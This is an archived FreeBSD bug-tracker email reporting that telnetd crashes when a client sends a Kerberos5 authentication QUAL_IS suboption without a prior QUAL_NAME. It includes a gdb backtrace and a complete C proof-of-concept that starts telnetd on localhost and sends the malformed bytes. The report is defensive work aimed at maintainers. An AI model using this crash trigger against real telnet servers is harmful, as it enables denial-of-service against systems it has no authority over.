From nobody Fri Sep 30 16:42:32 2022 X-Original-To: bugs@mlmmj.nyi.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2610:1c1:1:606c::19:1]) by mlmmj.nyi.freebsd.org (Postfix) with ESMTP id 4MfGHD2xTyz4Tygv for ; Fri, 30 Sep 2022 16:42:32 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) Received: from mxrelay.nyi.freebsd.org (mxrelay.nyi.freebsd.org [IPv6:2610:1c1:1:606c::19:3]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256 client-signature RSA-PSS (4096 bits) client-digest SHA256) (Client CN "mxrelay.nyi.freebsd.org", Issuer "R3" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 4MfGHD149Wz3sZN for ; Fri, 30 Sep 2022 16:42:32 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) Received: from kenobi.freebsd.org (kenobi.freebsd.org [IPv6:2610:1c1:1:606c::50:1d]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256) (Client did not present a certificate) by mxrelay.nyi.freebsd.org (Postfix) with ESMTPS id 4MfGHD07z8zDsV for ; Fri, 30 Sep 2022 16:42:32 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) Received: from kenobi.freebsd.org ([127.0.1.5]) by kenobi.freebsd.org (8.15.2/8.15.2) with ESMTP id 28UGgVWq087415 for ; Fri, 30 Sep 2022 16:42:31 GMT (envelope-from bugzilla-noreply@freebsd.org) Received: (from www@localhost) by kenobi.freebsd.org (8.15.2/8.15.2/Submit) id 28UGgVdn087414 for bugs@FreeBSD.org; Fri, 30 Sep 2022 16:42:31 GMT (envelope-from bugzilla-noreply@freebsd.org) X-Authentication-Warning: kenobi.freebsd.org: www set sender to bugzilla-noreply@freebsd.org using -f From: bugzilla-noreply@freebsd.org To: bugs@FreeBSD.org Subject: [Bug 266719] telnetd crashes if it receives IAC EC at session start Date: Fri, 30 Sep 2022 16:42:32 +0000 X-Bugzilla-Reason: AssignedTo X-Bugzilla-Type: changed X-Bugzilla-Watch-Reason: None X-Bugzilla-Product: Base System X-Bugzilla-Component: bin X-Bugzilla-Version: CURRENT X-Bugzilla-Keywords: X-Bugzilla-Severity: Affects Some People X-Bugzilla-Who: rtm@lcs.mit.edu X-Bugzilla-Status: New X-Bugzilla-Resolution: X-Bugzilla-Priority: --- X-Bugzilla-Assigned-To: bugs@FreeBSD.org X-Bugzilla-Flags: X-Bugzilla-Changed-Fields: Message-ID: In-Reply-To: References: Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable X-Bugzilla-URL: https://bugs.freebsd.org/bugzilla/ Auto-Submitted: auto-generated List-Id: Bug reports List-Archive: https://lists.freebsd.org/archives/freebsd-bugs List-Help: List-Post: List-Subscribe: List-Unsubscribe: Sender: owner-freebsd-bugs@freebsd.org MIME-Version: 1.0 ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=freebsd.org; s=dkim; t=1664556152; h=from:from:reply-to:subject:subject:date:date:message-id:message-id: to:to:cc:mime-version:mime-version:content-type:content-type: content-transfer-encoding:content-transfer-encoding: in-reply-to:in-reply-to:references:references; bh=dFFaiMsNWAg0OMoo69znpZVgIzfisaXdXyZUYmFAxHs=; b=WbcpAa8aTi2MeO8syzE7OAinbW9zsFGz2vLJNDtmLH+vTFITLXP0QRtN8S8YSLxpCdAaAi GXiPAufA4d0ceT1Jb8atgxRUKovSFrQ3zps11zpOrXRaUItYO4aA+zD5zKuWYQ5XPrrWAm bB4F71rh4gmL4GgpIhOJx7JSPk60D1+NK8EMBM7y/ZdDXCc4t2AxLXSA9hOradUkqbUl6+ 2X25Ug3eiHUQAyb6nvivu7Zjd06VZjGUOrcL2ajhJs0vUyAF8xPBmnYQ/Vf4htNwToJV4s qd7NPiY/5PRoT/doRvrHMAUQP4upjMlVHdCYSuQ4nU2+KaYg8kUgpb/PejiAVg== ARC-Seal: i=1; s=dkim; d=freebsd.org; t=1664556152; a=rsa-sha256; cv=none; b=Av//wBuO3Cix2f2bV9iYLZ+o8orhiANutfTGmbMzu6A/4GaUvEogYCRgx72y6TdPTWqMow IrNSPQqL61AmLZ/6vYU3hh+fz1qSwpQ1O3mWGOJNwLxHjYMSPBAaMnBEpU3Ttp/2LqeGjh kvwyADzj+RD+Kb1ccTqciDTcW+eivss6oNxO5QSBVxTXz4LTgIhSwKJEZuud5brpiV8ZcG hOSy6Vin9XTWO3aG9Zec0MJrKG4OMyf01fpLN2X92YTW4fzkFjUB6fB1IZk+1c1vVR4pjf ewQI6zNg1e4qtnLTEA1SEeQgliwTjP/Fp7IQF4ll/bMg0SK1NOj7i6M97EEeYQ== ARC-Authentication-Results: i=1; mx1.freebsd.org; none X-ThisMailContainsUnwantedMimeParts: N https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=3D266719 --- Comment #1 from Robert Morris --- Separately, if a client is authenticating and sends an SB AUTHENTICATION QUAL_IS for Kerberos5 without a preceding QUAL_NAME, there's a crash in line 506 of kerberos5_is() in libtelnet/kerberos5.c: pwd =3D getpwnam (UserNameRequested); UserNameRequested isn't set if there was no QUAL_NAME. Here's a backtrace and a demo program: Program received signal SIGSEGV, Segmentation fault. Address not mapped to object. 0x0000000801600e10 in strcmp () from /lib/libc.so.7 (gdb) where #0 0x0000000801600e10 in strcmp () from /lib/libc.so.7 #1 0x000000080154d0d8 in ?? () from /lib/libc.so.7 #2 0x000000080154ec07 in ?? () from /lib/libc.so.7 #3 0x0000000801594e8d in nsdispatch () from /lib/libc.so.7 #4 0x000000080154f34c in getpwnam () from /lib/libc.so.7 #5 0x00000000010374f0 in kerberos5_is (ap=3D0x103b9e8 ,= =20 data=3D0x801e74fc6 "root", cnt=3D1) at /usr/src/contrib/telnet/libtelnet/kerberos5.c:506 #6 0x00000000010349c9 in auth_is (data=3D, cnt=3D) at /usr/src/contrib/telnet/libtelnet/auth.c:475 #7 0x000000000102c9d0 in suboption () at /usr/src/contrib/telnet/telnetd/state.c:1425 #8 0x000000000102c0fc in telrcv () at /usr/src/contrib/telnet/telnetd/state.c:334 #9 0x0000000001030974 in ttloop () at /usr/src/contrib/telnet/telnetd/utility.c:84 #10 0x00000000010324f9 in telnet_spin () at /usr/src/contrib/telnet/telnetd/authenc.c:70 #11 0x0000000001034c6f in auth_wait (name=3D0x103e510 "") at /usr/src/contrib/telnet/libtelnet/auth.c:568 #12 0x000000000102f143 in getterminaltype (name=3D) at /usr/src/contrib/telnet/telnetd/telnetd.c:483 #13 0x000000000102efd8 in doit (who=3Dwho@entry=3D0x7fffffffe790) at /usr/src/contrib/telnet/telnetd/telnetd.c:715 #14 0x000000000102ecb5 in main (argc=3D0, argv=3D) at /usr/src/contrib/telnet/telnetd/telnetd.c:408 #include #include #include #include #include #include #include #include #include #include #include #include #include #include int main(){ setlinebuf(stdout); struct rlimit r; r.rlim_cur =3D r.rlim_max =3D 0; setrlimit(RLIMIT_CORE, &r); signal(SIGPIPE, SIG_IGN); struct sockaddr_in sin; memset(&sin, 0, sizeof(sin)); sin.sin_family =3D AF_INET; sin.sin_addr.s_addr =3D inet_addr("127.0.0.1"); sin.sin_port =3D htons(2323); int ss =3D socket(AF_INET, SOCK_STREAM, 0); int yes =3D 1; setsockopt(ss, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes)); if(bind(ss, (struct sockaddr *)&sin, sizeof(sin)) < 0){ perror("bind"); exit(1); } listen(ss, 10); if(fork() =3D=3D 0){ struct sockaddr sa; socklen_t len =3D sizeof(sa); int s1 =3D accept(ss, &sa, &len); if(s1 < 0){ perror("accept"); exit(1); } close(ss); dup2(s1, 0); dup2(s1, 1); dup2(s1, 2); close(s1); execl("/usr/libexec/telnetd", "telnetd", (void*)0); perror("execl"); exit(1); } close(ss); int cc =3D socket(AF_INET, SOCK_STREAM, 0); if(connect(cc, (struct sockaddr *)&sin, sizeof(sin)) < 0){ perror("connect"); exit(1); } #define IAC 255 #define DONT 254 #define DO 253 #define WONT 252 #define WILL 251 #define SB 250 #define SE 240 #define OPT_TTYPE 24 #define OPT_TSPEED 32 #define OPT_LINEMODE 34 #define OPT_XDISPLOC 35 #define OPT_OLD_ENVIRON 36 #define OPT_AUTHENTICATION 37 #define OPT_ENCRYPT 38 #define OPT_NEW_ENVIRON 39 #define OPT_LFLOW 33 #define OPT_NAWS 31 #define QUAL_IS 0 #define QUAL_SEND 1 #define QUAL_REPLY 2 #define QUAL_NAME 3 { sleep(1); char buf[512]; int n =3D read(cc, buf, sizeof(buf)); } { char buf[] =3D { IAC, WILL, OPT_AUTHENTICATION, }; write(cc, buf, sizeof(buf)); } char data[] =3D { // IAC, SB, OPT_AUTHENTICATION, QUAL_NAME, '1', '2', '3', IAC, SE, IAC, SB, OPT_AUTHENTICATION, QUAL_IS, 2, 0, 4, IAC, SE, }; if(write(cc, data, sizeof(data)) < 0) perror("write"); sleep(1); close(cc); sleep(1); int st =3D 0; int xpid =3D wait(&st); if(WIFEXITED(st)) printf("telnetd pid %d exited normally\n", xpid); if(WIFSIGNALED(st)) printf("telnetd pid %d died due to signal %d\n", xpid, WTERMSIG(st)); } --=20 You are receiving this mail because: You are the assignee for the bug.=